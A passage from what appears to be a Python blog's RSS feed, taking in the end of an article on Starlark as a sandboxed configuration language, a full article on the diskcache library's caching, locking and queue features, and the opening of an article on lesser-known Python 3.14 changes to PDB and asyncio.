}</code></code></pre><p>Alas, the only Cue implementation is written in Go, and there are no bindings for Python, so I can&#8217;t directly load the result of the cue file in Python program. I would need to install the cue executable separately, call that with a subprocess, and load the resulting JSON.</p><p>This is not my idea of a good time. More importantly, this would not fly in the corporate world, and half of my clients are corporate. It&#8217;s hard enough to introduce an exotic language in those spheres, let alone if using it means you have to settle for a hack.</p><p>So I went back to using templated YAML, and for my projects, <a href="https://www.bitecode.dev/p/python-as-a-configuration-language">Python as a configuration language.</a>.. No sandboxing, and you can crash your config, so not ideal, but better than the alternatives.</p><p>Not great, not terrible.</p><h2><strong>Enter starlark</strong></h2><p>I haven&#8217;t given a chance to Starlark, because:</p><ul><li><p>It comes from the Java world, a community not exactly known for its flexible and lightweight infra.</p></li><li><p>It&#8217;s a child of <a href="https://bazel.build/">bazel</a>, and if you have ever used bazel, it&#8217;s an acquired taste.</p></li><li><p>It&#8217;s one of those numerous &#8220;it&#8217;s like Python, well if you really squint&#8221; type of languages. I don&#8217;t like when something tries to use Python similarity as a selling point, only to pull the rug under your feet as soon as you try to use the language for real.</p></li><li><p>The early Python bindings were super low quality.</p></li></ul><p>But out of desperation, I gave it a chance, and I&#8217;m glad I did, because it can do things I hadn't realized. </p><p>It now has <a href="https://pypi.org/project/starlark-pyo3/">Python bindings based on the Rust implementation</a>, and as is often the case with Rust projects, the quality is much better than alternatives. It helps that said implementation is from Facebook, meaning it&#8217;s likely it will be maintained on the long run. And thanks to <a href="https://pyo3.rs/">Py03</a> , there are robust wheels for major platforms, so it&#8217;s easy to install:</p><pre><code><code>pip install starlark-pyo3</code></code></pre><p>You get access to rich and familiar data types:</p><pre><code><code># None type
nullable_value = None

# Booleans
is_production = True

# Integers
port = 8080

# Floats
cpu_threshold = 0.85

# Strings
version = "2.1.0"
description = """
This is a multi-line description
of our microservice application
that handles user requests.
"""

# Lists  
allowed_origins = [
&#9;"https://example.com",
&#9;"https://app.example.com",
&#9;"https://admin.example.com",
]

# Tuples 
coordinates = (40.7128, -74.0060)


# Dictionaries
database_config = {
&#9;&#8220;host&#8221;: &#8220;db.example.com&#8221;,
&#9;&#8220;ports&#8221;: [5432, 80],
&#9;&#8220;ssl_enabled&#8221;: True,
&#9;&#8220;pool_size&#8221;: 20,
&#9;&#8220;timeout&#8221;: 30.0,
&#9;&#8220;allowed_origins&#8221;: allowed_origins
}</code></code></pre><p>You get DRY facilities like references, functions and imports:</p><pre><code><code>load(&#8221;lib/utils.star&#8221;) # this doesn&#8217;t work like you think though

def generate_service_name(app, env):
    """Generate a standardized service name."""
    return &#8220;{}-{}&#8221;.format(app, env)</code></code></pre><p>And there are <a href="https://github.com/bazelbuild/starlark/blob/master/spec.md#built-in-constants-and-functions">some built-ins</a> for text and number manipulations. It supports UTF8, can sort stuff, provide lambdas, ** kwargs, and do comprehension lists. That&#8217;s it.</p><p>It is not AT ALL Python.</p><p>There is no <code>while</code>, <code>yield</code>, <code>import</code>, <code>class</code>, f-string, <code>Path</code>, <code>@decorator</code>, <code>async</code>/<code>await</code>, <code>global</code>, <code>with</code>, <code>assert</code>, set literals or comprehensions, advanced unpacking etc. It&#8217;s not like MicroPython, a limited subset of Python based on some compromises.</p><p>It&#8217;s a very restricted language (on purpose) which happens to implement its behavior with a Python flavor.</p><p>I think it&#8217;s very important to underline that. It is doing a disservice to this language to compare it to Python. You should see it as a completely different language that just happens to have similarities in syntax and naming.</p><p>The biggest difference is the import system, as it&#8217;s an opt-in system, and by default is deactivated, and uses a special <code>load</code> function.</p><h2><strong>Starlark in practice</strong></h2><p>Starlark programs are executed in a sandbox; they are isolated from the outside world. They don&#8217;t have, by default, access to the file system or the network.</p><p>Running one starlark file means creating an empty module, putting some values in there for the program to initialize with, execute the starlark code in the context of that module, then read the variables you are interested in back from the module.</p><p>It looks like this:</p><pre><code><code>import starlark
# Assuming you code starlark code in config.star, read it:
with open(&#8221;config.star&#8221;, &#8220;r&#8221;) as f:
    starlark_code = f.read()

# Load the standard library to put at the disposal of starlark
stdlib = starlark.Globals.standard()
# Create some module in which starlark will execute in
module = starlark.Module()
# Put some data for starlark to read
module[&#8221;site&#8221;] = &#8220;www.bitecode.dev&#8221;
# Parse the starlark code (this can give you syntax errors here)
ast = starlark.parse(&#8221;config.star&#8221;, starlark_code)
# Run the code 
result = starlark.eval(module, ast, stdlib, None)
# Get our data bask
output_data = module[&#8221;variable_from_starlak&#8221;]</code></code></pre><p>You could also expose callables from Python to Starlark if you want it to have more capabilities:</p><pre><code><code>def calculate_tax(amount: float, rate: float = 0.1) -&gt; float:
&#9;&#8220;&#8221;&#8220;Python function with default arguments.&#8221;&#8220;&#8221;
&#9;return amount * rate
&#9;
module.add_callable(&#8221;calculate_tax&#8221;, calculate_tax)</code></code></pre><p>This let you control how much of the file system and the network you want the sandbox to have access to.</p><p>By default, the config file can&#8217;t import anything. You have to provide a loader function, basically implement imports, and pass it to starlark. A basic implementation looks like this:</p><pre><code><code>def load_function(filename):
    
    file_path = Path(filename)

    if not file_path.exists():
        raise FileNotFoundError(f&#8221;Cannot load {filename}: file not found&#8221;)
    
    with open(file_path, &#8216;r&#8217;) as f:
        source = f.read()

    module = starlark.Module()
    stdlib = starlark.Globals.standard()
    ast = starlark.parse(str(file_path), source)
    nested_loader = starlark.FileLoader(load_function)
    starlark.eval(module, ast, stdlib, nested_loader)
    return module.freeze()</code></code></pre><p>And then, when you load the main Starlark file, you do this to tell it how to import stuff:</p><pre><code><code>result = starlark.eval(module, ast, stdlib, load_function)</code></code></pre><p>So that it can do <code>load(&#8221;submodule.star&#8221;)</code> in its own code.</p><p>This function is very simple and doesn&#8217;t even allow recursive imports (imports in imported files). But you can see the power in this: you can put any logic to filter imports based on anything you want, be it hashing, signature, allow-list of directories, content, naming&#8230;</p><h1><strong>Will I use Starlark in the future?</strong></h1><p>So the library is more like &#8220;build your own configuration logic&#8221; than a turnkey solution like Cuelang. It is very interesting, though, because it gives you a decently powerful language you can expose to the end users, and decide very precisely what you allow them to do or not.</p><p>If I ever need to create a system that needs a DSL for 3rd parties I can&#8217;t trust, I would consider it.</p><p>However, as a configuration language for my own systems, this is too much work upfront. Not to mention that it is the same with all those dedicated DSL: tooling and debugability are subpar.</p><p>Plus, we are missing a critical part: schemas.</p><p>You can&#8217;t easily define what data should go in, nor whether the data that goes out is correct.</p><p>Sure, you can pair it with Pydantic. But then, if I just deal with trusted users and have to wire Pydantic myself, why not just write the config in Python itself? Pydantic can export it to JSON or YAML, and I don&#8217;t have to worry too much about side effects since I&#8217;m in control of the code.</p><p>Worked ok for Django, even without the schema.</p><p>It&#8217;s not perfect, once again, and the config still suck.</p><p>But I least I discovered a cool utility.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">If you put your email in this little box, I will inject it in a sandbox just for you. And then send an email from this sendbox every time I have a new article.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[Diskcache, more than caching]]></title><description><![CDATA[But less than... disking?]]></description><link>https://www.bitecode.dev/p/diskcache-more-than-caching</link><guid isPermaLink="false">https://www.bitecode.dev/p/diskcache-more-than-caching</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sun, 19 Oct 2025 08:46:52 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/db9b5cb2-21d8-47ce-8f4f-0baeb8081c81_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Summary</h2><p><em>I adore SQLite, and I like caching a lot. If you mix the two, you get <a href="https://grantjenks.com/docs/diskcache/api.html#diskcache.Lock">diskcache</a>, a Python local key/value store that can act like a small local subset of Redis. It stores Python values, expires them, has queues, mappings, and deques. </em></p><p><em>But it can do more than that: transactions, tagging, locking, thundering herd mitigation&#8230; There is a lot to unpack from this little utility.</em></p><p><em>And all that can be accessed from several processes concurrently, even when writing, thanks to sharding.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2>&lt;3</h2><p>I love <a href="https://grantjenks.com/docs/diskcache/api.html#diskcache.Lock">diskcache</a>, I wish it came with Python. <a href="https://www.bitecode.dev/p/python-libs-that-i-wish-were-part">Kinda</a>. On paper, it&#8217;s a Python local cache-oriented lib backed by SQLite, and therefore fast and robust. It features most things you expect from cache: automatic serialization, key/value syntax, expiration system with transparent key evictions...</p><p>Using it looks like this:</p><pre><code><code>&gt;&gt;&gt; from diskcache import Cache
... import time
... cache = Cache(&#8217;/tmp/mycache&#8217;)
... # expires after 2 seconds
... cache.set(&#8217;frog&#8217;, &#8216;frinos&#8217;, expire=2)
True
&gt;&gt;&gt; print(cache.get(&#8217;frog&#8217;))
frinos
&gt;&gt;&gt; time.sleep(3); print(cache.get(&#8217;frog&#8217;))
None</code></code></pre><p>Simple... and efficient! Access time is in &#181;s:</p><pre><code><code>&gt;&gt; %timeit cache.set(&#8217;frog&#8217;, &#8216;frinos&#8217;)
39.9 &#956;s &#177; 271 ns per loop (mean &#177; std. dev. of 7 runs, 10,000 loops each)
&gt;&gt;&gt; %timeit cache.get(&#8217;frog&#8217;)
5.01 &#956;s &#177; 80.4 ns per loop (mean &#177; std. dev. of 7 runs, 100,000 loops each)</code></code></pre><p>It&#8217;s a sweet little piece of software that is really nice to have in your toolbox. You can use it in quick and dirty scripts, and even in small to medium websites. In fact, it comes with a Django cache backend out of the box.</p><p>But it can do much more than caching!</p><h2><strong>Thank you, giant shoulders</strong></h2><p>Being based on SQLite means you get atomic and thread-safe operations, sweet, sweet, ACID semantics, and with that, you get a lot of things for free.</p><p>One thing diskcache can provide that a lot of caching systems don&#8217;t, is a transaction, meaning a way to write or read a bunch of stuff as if it were one unit:</p><pre><code><code>with cache.transact():
     value = cache.get(&#8217;counter&#8217;, 0)
     value += 1
     cache.set(&#8217;counter&#8217;, value)</code></code></pre><p>Because the cache can be written from several processes, this is very valuable. Consider this script:</p><pre><code><code>from diskcache import Cache
from multiprocessing import Process
import sys

cache = Cache(&#8217;/tmp/mycache&#8217;)

def increment(use_transaction: bool):
    for _ in range(100):
        if use_transaction:
            with cache.transact():  # atomic read-modify-write
                value = cache.get(&#8217;counter&#8217;, 0)
                cache.set(&#8217;counter&#8217;, value + 1)
        else:
            # No transaction &#8212; race conditions likely under concurrency
            value = cache.get(&#8217;counter&#8217;, 0)
            cache.set(&#8217;counter&#8217;, value + 1)

if __name__ == &#8220;__main__&#8221;:
    use_transaction = &#8220;--with-transaction&#8221; in sys.argv

    cache.set(&#8217;counter&#8217;, 0)

    print(f&#8221;Running with{&#8217;out&#8217; if not use_transaction else &#8216;&#8217;} transactions...&#8221;)

    # Launch 4 processes doing increments concurrently
    procs = [Process(target=increment, args=(use_transaction,)) for _ in range(4)]
    for p in procs:
        p.start()
    for p in procs:
        p.join()

    print(&#8217;Final counter:&#8217;, cache.get(&#8217;counter&#8217;))</code></code></pre><p>It runs 4 processes, within each, a loop of 100 steps, incrementing the counter, so we should reach 400. But without a transaction, we do not, because sometimes several processes read the old value together, and increment this value, each of them saving the same number in the cache:</p><pre><code><code>python increment.py
Running without transactions...
Final counter: 165</code></code></pre><p>But with transactions, we get 400, because each pair read and write is guaranteed to happen as a whole:</p><pre><code><code>python increment.py --with-transaction
Running with transactions...
Final counter: 400</code></code></pre><p>Although keep transactions as short as possible because, during a transaction, no other writes occur to the cache.</p><p>Another SQLite goodness is the fact under the hood, it&#8217;s a full-featured relational database. Diskcache takes advantage of that in several ways.</p><p>It can add metadata to cache keys. E.G, it can add tags:</p><pre><code><code>for num in range(100):
    _ = cache.set(num, num, tag=&#8217;odd&#8217; if num % 2 else &#8216;even&#8217;)</code></code></pre><p>And then perform operations, like key eviction, based on those tags:</p><pre><code><code>cache.evict(&#8217;even&#8217;)</code></code></pre><p>It can also let you iterate on keys in either insertion order or sorted keys:</p><pre><code><code>for key in &#8216;cab&#8217;:
    cache[key] = None

list(cache)
[&#8217;c&#8217;, &#8216;a&#8217;, &#8216;b&#8217;]

list(cache.iterkeys())
[&#8217;a&#8217;, &#8216;b&#8217;, &#8216;c&#8217;]</code></code></pre><p>And can look up the first and last item:</p><pre><code><code>cache.peekitem()
(&#8217;comment:1&#8217;, "FIIIIIIIIIIIRST")

cache.peekitem(last=False)
(&#8217;comment:8908098&#8217;, "Pics or didn't happen")</code></code></pre><p>In fact, if all you need is a queue, keys can be generated automatically, and values pushed and pulled, like in a list:</p><pre><code><code>&gt;&gt;&gt; key = cache.push(&#8217;first&#8217;)
&gt;&gt;&gt; cache[key]
&#8216;first&#8217;
&gt;&gt;&gt; _ = cache.push(&#8217;second&#8217;)
&gt;&gt;&gt; _ = cache.push(&#8217;zeroth&#8217;, side=&#8217;front&#8217;)
&gt;&gt;&gt; _, value = cache.peek()
&gt;&gt;&gt; value
&#8216;zeroth&#8217;
&gt;&gt;&gt; key, value = cache.pull()
&gt;&gt;&gt; print(key)
499999999999999
&gt;&gt;&gt; value
&#8216;zeroth&#8217;</code></code></pre><p>There is even a wrapper for that: <a href="https://grantjenks.com/docs/diskcache/api.html#diskcache.Deque">Deque</a>, an ordered collection with optimized access at its start and end. It features a <code>.rotate()</code> methods that take the last item and put it back as the first one, very quickly, so you can cycle the whole thing, like Python&#8217;s <code>collections.deque</code>.</p><p>Diskcache also comes with an (opt-in) sharding system to allow writing from several processes, so you can use it from your typical FastAPI, Flask, or Django application with multiple workers and not encounter the dreaded SQLITE <code>sqlite3.OperationalError: database is locked</code>:</p><pre><code><code>from diskcache import FanoutCache
# 4 shards, so at 4 concurrent possible writes, and a 1 second timeout
cache = FanoutCache(shards=4, timeout=1)</code></code></pre><p>So there is no reason to create only one instance of diskcache. You can have many, each being specialized and dedicated to something. One cache can be used as a general cache. Another one can be a queue. A last one can be a poor man&#8217;s DB.</p><h2><strong>And now all together</strong></h2><p>Making multiple concurrent actors play nicely is really hard. E.G: how do you avoid duplicating your <code>functools.lru_cache</code> ? How do you avoid your cache eviction from triggering several calculations at the same time? How do you avoid concurrent access to resources?</p><p>Diskcache comes with plenty of utilities for that, with sane defaults, and they will work even if you are not the one starting the processes (like with a WSGI server).</p><p>It can cache the value of a function:</p><pre><code><code>&gt;&gt;&gt; @cache.memoize()
... def slow_add(a, b):
...     print(f&#8221;Computing {a} + {b}&#8221;)
...     return a + b
... 
... print(slow_add(2, 3))  # Computes
... print(slow_add(2, 3))  # Cached result, no print
Computing 2 + 3
5
5</code></code></pre><p>But what if the function takes 5 seconds, and then 4 processes call it at the same time? They will all trigger the cache regeneration at the same time. Well, you can ask for an early optimistic run:</p><pre><code><code>from diskcache import memoize_stampede
@memoize_stampede(cache, 5)
def expensive_compute(x):
    import time
    print(f&#8221;Computing {x}&#8221;)
    time.sleep(2)
    return x * x

print(expensive_compute(5))  </code></code></pre><p>The first run will perform the function, but no subsequent call will. Instead, they will always return the cached result, but also perform a probabilistic calculation about the need to update the cache. If it&#8217;s time, it may run the function in a thread. The closer to the expiration, the more chance to run the function.</p><p>Of course, you also have various types of locks, the simplest being:</p><pre><code><code>from diskcache import Lock
name = &#8216;stock and two smocking barrels&#8217;
lock = Lock(cache, name)
with lock:
    print(&#8221;Critical section: only one process/thread at a time&#8221;)</code></code></pre><p>A much better solution than creating a lock file. There are also reentrant locks, bounded semaphores, and a decorator to lock a function:</p><pre><code><code>@cache.barrier(cache, Lock)
def compute():
    with barrier:
        print(&#8221;Computing...&#8221;)
        import time; time.sleep(2)

compute()  # Only one computes; others wait and reuse result</code></code></pre><p>Or throttle one (limit to one call every x seconds):</p><pre><code><code>@diskcache.throttle(&#8217;mykey&#8217;, expire=3)
def myfunc():
    print(&#8221;Executed!&#8221;)
    return &#8220;done&#8221;

myfunc()  # Executes
myfunc()  # Skipped if within 3 seconds</code></code></pre><p>You can mix and max, and get creative. If you pair multi-processing with a lock and a Deque, you get a cheap task queue. If you use <code>.incr</code> on IP+UA+URL key with a daily expiration time, you get an approximate page visit count. Add a bloom filter on top, and you get a sloppy but working deny list for abusers.</p><p>Once you get a few basics that compose well, you can get pretty far until you need big-boy solutions.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">subscriber_cache.push(&#8220;your@email&#8221;) ? You can always evict it later :) </p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[Python 3.14 - What didn't make the headlines]]></title><description><![CDATA[Yes, we know it's Pithon, the joke is 10 years old]]></description><link>https://www.bitecode.dev/p/python-314-what-didnt-make-the-headlines</link><guid isPermaLink="false">https://www.bitecode.dev/p/python-314-what-didnt-make-the-headlines</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sun, 12 Oct 2025 13:15:08 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/fce49c67-47fa-4ab3-b66c-3c34a549068b_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Summary</h2><ul><li><p><em>PDB gets a lot of love, benefiting from the new shell features, a saner breakpoint strategy, and a nicer quitting experience.</em></p></li><li><p><em>Asyncio too, with loop policies and implicit loop creation going away, as well as a nice utility to see all running tasks live.</em></p></li><li><p><em>argparse now provides a much better </em><code>--help</code><em> and subcommand typo suggestions.</em></p></li><li><p><em>Concurrency is not forgotten, with Linux getting a new default process creation strategy replacing &#8220;fork&#8221;, interpreters get their own pool executors, </em><code>ProcessPoolExecutor</code><em> can now terminate or kill all workers and </em><code>SyncManager</code><em> accept sets.</em></p></li><li><p><em>And loads of little things.</em></p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2>Xmas sockets</h2><p>In October, I feel like a kid waiting for Xmas, except I already know what gifts I&#8217;m going to get. Free Threading, t-string, remote debugging, UUI7, and colors in the shell!</p><p>But what about the stuff I didn&#8217;t know about? The surprise visit of an uncle? My brother, who decided last minute to buy me stuff?</p><p>So <code>uv self update &amp;&amp; uv python upgrade 3.14</code>, and let&#8217;s unwrap the goods!</p><h2><strong>PDB gets love</strong></h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jfY8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jfY8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 424w, https://substackcdn.com/image/fetch/$s_!jfY8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 848w, https://substackcdn.com/image/fetch/$s_!jfY8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 1272w, https://substackcdn.com/image/fetch/$s_!jfY8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jfY8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png" width="722" height="578" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:578,&quot;width&quot;:722,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:72691,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/175944660?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jfY8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 424w, https://substackcdn.com/image/fetch/$s_!jfY8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 848w, https://substackcdn.com/image/fetch/$s_!jfY8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 1272w, https://substackcdn.com/image/fetch/$s_!jfY8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa62d585b-1ff2-4ece-92a0-e1566bf4279e_722x578.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Despite how old school it is, I deeply like PDB, and if you really never got to use it, we have <a href="https://www.bitecode.dev/p/intro-to-pdb-the-python-debugger">a little article for you</a>.</p><p>In 3.14, the big bang is the fact you can now <a href="https://docs.python.org/3.14/whatsnew/3.14.html#pdb">attach remotely to any running Python program</a>. Yes, it is awesome and everyone is talking about it, but they really went the extra mile and polished many other details.</p><p>For example, one thing that has annoyed me for a long time when creating a <code>breakpoint()</code> is that it restarts a new PDB instance. If you are in a loop, it will create many of them, and of course, losing on the way the ability to type <code>Enter</code> and repeat the last command you used.</p><p>This is now <a href="https://github.com/python/cpython/issues/121450">fixed</a>, and inline break points will reuse any previous debugger instance that existed.</p><p>This release also:</p><ul><li><p><a href="https://github.com/python/cpython/issues/124704">Removed the stack trace when you quit PDB</a>. I always thought it was weird that quitting the debugger made you feel like crashing the program.</p></li><li><p>Adds a <a href="https://github.com/python/cpython/issues/124704">confirmation prompt</a> to avoid exiting by mistake.</p></li><li><p><a href="https://github.com/python/cpython/pull/130471">Inserts 4 spaces </a>when using <code>&lt;tab&gt;</code>. It used to insert a <code>\t</code> , meaning it would look like 2 spaces the first time and 8 the second. Since we now have multi-line in PDB (from 3.13), it was weird to have for-loop lines all over the place.</p></li><li><p>And thanks to that, we also get <a href="https://github.com/python/cpython/issues/133350">auto-indent</a>.</p></li><li><p>Adopts most of the goodies of the better Python shell, so the code you type in PDB will also be <a href="https://github.com/python/cpython/pull/133355">highlighted</a> and have <a href="https://github.com/python/cpython/issues/69605">code-completion</a> :)</p></li><li><p>Makes debugging <code>asyncio</code> better with <code>pdb.set_trace_async()</code> letting you call <code>await</code> inline in the REPL and a magic variable <code>$_asynctask</code> contains the current task.</p></li></ul><h2><strong>Explicit is better even in asyncio</strong></h2><p><code>asyncio.get_event_loop</code> used to be very surprising because it returned the current event loop if it existed, but if it didn&#8217;t... it created one.</p><p>This behavior has been deprecated <a href="https://docs.python.org/3.10/library/asyncio-eventloop.html?highlight=get_event_loop#asyncio.get_event_loop">since 3.10</a>, and it will go away, along with <a href="https://github.com/python/cpython/issues/127949">the WHOLE policy system</a>.</p><p>Ok, I didn&#8217;t see that one coming, as being able to use <code>Policy</code> objects to customize the loop creation process was there since the beginning of the lib, so it&#8217;s a big change, and I missed the deprecation warning.</p><p>To be clear, I hated the whole policy stuff. It is confusing, heavy, and a source of conflicts between 3rd parties. I&#8217;m really happy it&#8217;s going away.</p><p>So now people are expected to just always call <code>asyncrio.run</code>, optionally with <code>loop_factory</code> as a parameter, which is a much better, leaner, and simpler system. For edge cases when you want to really manage your loop manually (basically reimplement <code>run()</code>), you now have a <a href="https://docs.python.org/3.14/library/asyncio-runner.html#asyncio.Runner">Runner class</a> and can communicate with the group of tasks using an <a href="https://docs.python.org/3.14/library/asyncio-sync.html#asyncio.Event">Event object.</a>.</p><p>Introspection capabilities are also improving and exposed through two new commands:</p><ul><li><p> <code>python -m asyncio ps PID</code> attaches to a Python process from outside, and displays all asyncio tasks running in it in a table form, with their names, their coroutine stacks, and which tasks are awaiting them.</p></li><li><p> <code>python -m asyncio pstree PID</code> does the same but displays a visual async call tree:</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CNjf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CNjf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 424w, https://substackcdn.com/image/fetch/$s_!CNjf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 848w, https://substackcdn.com/image/fetch/$s_!CNjf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 1272w, https://substackcdn.com/image/fetch/$s_!CNjf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CNjf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa76a6073-5484-4146-bca7-bfe95fab12d2_1157x368.png" width="1157" height="368" 